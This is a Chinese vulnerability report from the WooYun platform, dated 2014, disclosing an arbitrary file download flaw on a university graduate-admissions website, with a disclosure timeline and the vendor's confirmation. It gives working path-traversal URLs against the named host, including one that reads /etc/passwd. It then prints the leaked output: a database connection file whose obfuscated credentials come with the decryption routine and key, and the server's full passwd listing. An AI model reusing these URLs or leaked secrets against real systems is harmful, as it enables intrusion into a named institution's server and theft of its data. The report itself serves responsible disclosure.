当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070250

漏洞标题:北邮某网站任意文件下载

相关厂商:北京邮电大学

漏洞作者: 路人甲

提交时间:2014-07-30 14:10

修复时间:2014-09-13 14:12

公开时间:2014-09-13 14:12

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-30: 细节已通知厂商并且等待厂商处理中
2014-08-01: 厂商已经确认,细节仅向厂商公开
2014-08-11: 细节向核心白帽子及相关领域专家公开
2014-08-21: 细节向普通白帽子公开
2014-08-31: 细节向实习白帽子公开
2014-09-13: 细节向公众公开

简要描述:

北邮某网站任意文件下载

详细说明:

网站上存在的下载链接:http://www.yzb.bupt.cn/admin_upload.php?a1=%BF%BC%C9%FA%D2%E2%CF%F2%B1%ED.doc
构造如下链接可下载数据库连接文件:http://www.yzb.bupt.cn/admin_upload.php?a1=../php/student1.php
下载passwd文件链接:http://www.yzb.bupt.cn/admin_upload.php?a1=../../../../../etc/passwd

漏洞证明:

数据库连接文件:http://www.yzb.bupt.cn/admin_upload.php?a1=../php/student1.php

<?php
class student1
{
public $database ="UTPZrPh90lZJfX6";
public $hostname ="oW6tsYyk8AlW2Yx";
public $xsdl_XH = "9uD93oHgbYktwlT";
public $password = "kjtumiKC-Q5RbMIIfcHaOOF";
var $connect;

function __construct()
{
$this->database=$this->decrypt($this->database, $key = 'do not be silly!');
$this->hostname=$this->decrypt($this->hostname, $key = 'do not be silly!');
$this->xsdl_XH=$this->decrypt($this->xsdl_XH, $key = 'do not be silly!');
$this->password=$this->decrypt($this->password, $key = 'do not be silly!');
$this->connect =mysql_connect($this->hostname,$this->xsdl_XH,$this->password) or die("connect to MySQL failed!");
mysql_select_db($this->database,$this->connect);
mysql_query("SET NAMES gbk");
}

function enumget($ZD,$TABLE)
{
$query="show columns from $TABLE like '$ZD'";
$result=mysql_db_query("db_yjszs",$query);
$enum=mysql_result($result,0,"type");

$enum_arr=explode("('",$enum);
$enum=$enum_arr[1];
$enum_arr=explode("')",$enum);
$enum=$enum_arr[0];
$enum_arr=explode("','",$enum);
return $enum_arr;
}
/*******提取表格内容组成下拉列表,$NAME为字段名,$TABLE为表格名称,返回值为表格id字段和name字段******/
function selectget($TABLE)
{
$result = mysql_query("SELECT * FROM `$TABLE` ");
$i=0;
while ($arr = mysql_fetch_array($result))
{
$name[$i]= $arr[1];
$i += 1;
}

return $name;
}

function decrypt($txt, $key = 'do not be silly!')
{
$chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
$ikey =md5($chars);
$knum = 0;$i = 0;
$tlen = strlen($txt);
while(isset($key{$i})) $knum +=ord($key{$i++});
$ch1 = $txt{$knum % $tlen};
$nh1 = strpos($chars,$ch1);
$txt = substr_replace($txt,'',$knum % $tlen--,1);
$ch2 = $txt{$nh1 % $tlen};
$nh2 = strpos($chars,$ch2);
$txt = substr_replace($txt,'',$nh1 % $tlen--,1);//空格替换即为删除
$ch3 = $txt{$nh2 % $tlen};
$nh3 = strpos($chars,$ch3);
$txt = substr_replace($txt,'',$nh2 % $tlen--,1);
$nhnum = $nh1 + $nh2 + $nh3;
$mdKey = substr(md5(md5(md5($key.$ch1).$ch2.$ikey).$ch3),$nhnum % 8,$knum % 8 + 16);
$tmp = '';
$j=0; $k = 0;
$tlen = strlen($txt);
$klen = strlen($mdKey);
for ($i=0; $i<$tlen; $i++) {
$k = $k == $klen ? 0 : $k;
$j = strpos($chars,$txt{$i})-$nhnum - ord($mdKey{$k++});
while ($j<0) $j+=64;
$tmp .= $chars{$j};
}
$tmp = str_replace(array('-','_','.'),array('+','/','='),$tmp);
return trim(base64_decode($tmp));
}
function student_session_check()
{
session_start();
if ((isset($_SESSION['Y_USERID']))&& ($_SESSION['Y_STUDENT'] == 1))
echo "";
else
//header("location: employInform.html?");
echo("<script type='text/javascript'> alert('你尚未登录,请先登录!');location.href='postgraduate.php';</script>");
}

function admin_session_check()
{
session_start();
if ((isset($_SESSION['Y_USERID']))&& ($_SESSION['Y_STUDENT'] == 0))
echo "";
else
//header("location: employInform.html?");
echo("<script type='text/javascript'> alert('你尚未登录,请先登录!');location.href='postgraduate.php';</script>");
}

/***********打印option的函数,option_pr($NAME数组变量,$houaq默认值,$k步进值,$i起始值)**********/
function option_pr($NAME,$houaq,$k,$i)
{
do
{
if (($NAME[$i] == $houaq)||(($houaq == "")&&($i==0)))
echo "<option value=\"$NAME[$i]\" selected>$NAME[$i]</option>";

else
echo "<option value=\"$NAME[$i]\">$NAME[$i]</option>";
$i= $i+$k;

}while ($i< count($NAME));
return $str;

}
function option_pr1($NAME,$k,$i)
{
$i=0;
do
{
echo "<option value=\"$NAME[$i]\">$NAME[$i]</option>";
$i= $i+$k;
}while ($i< count($NAME));
return $str;

}
//过滤数字
function num_filter($num)
{
$res=is_numeric($num);
if($res == False)
{
echo("<script type='text/javascript'> alert('非法输入!');location.href='error.php';</script>");
exit();
}

}

//过滤字符
function str_filter($str)
{
$refuse_str="select|update|from|where|order|*|delete|'|insert|values|create|table|database";
$arr=explode("|",$refuse_str);
for($i=0;$i<count($arr);$i++)
{
if(@eregi($arr[$i],$str))//不区分大小写
{
echo("<script type='text/javascript'> alert('非法输入!');location.href='error.php';</script>");
//return 1;
exit();
}

}

}
function __destruct()
{
mysql_close($this->connect);
}

}

?>


下载passwd文件链接:http://www.yzb.bupt.cn/admin_upload.php?a1=../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
ftpadmin:x:500:50::/home/ftpadmin:/bin/bash
zhaosheng:x:502:505::/var/www/html/:/bin/bash

修复方案:

貌似北邮会忽略,仅测试下载漏洞,未深入挖洞,鉴于研究生招生网可以发布招生信息公告,早早修复

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-08-01 14:19

厂商回复:

通知用户处理中

最新状态:

暂无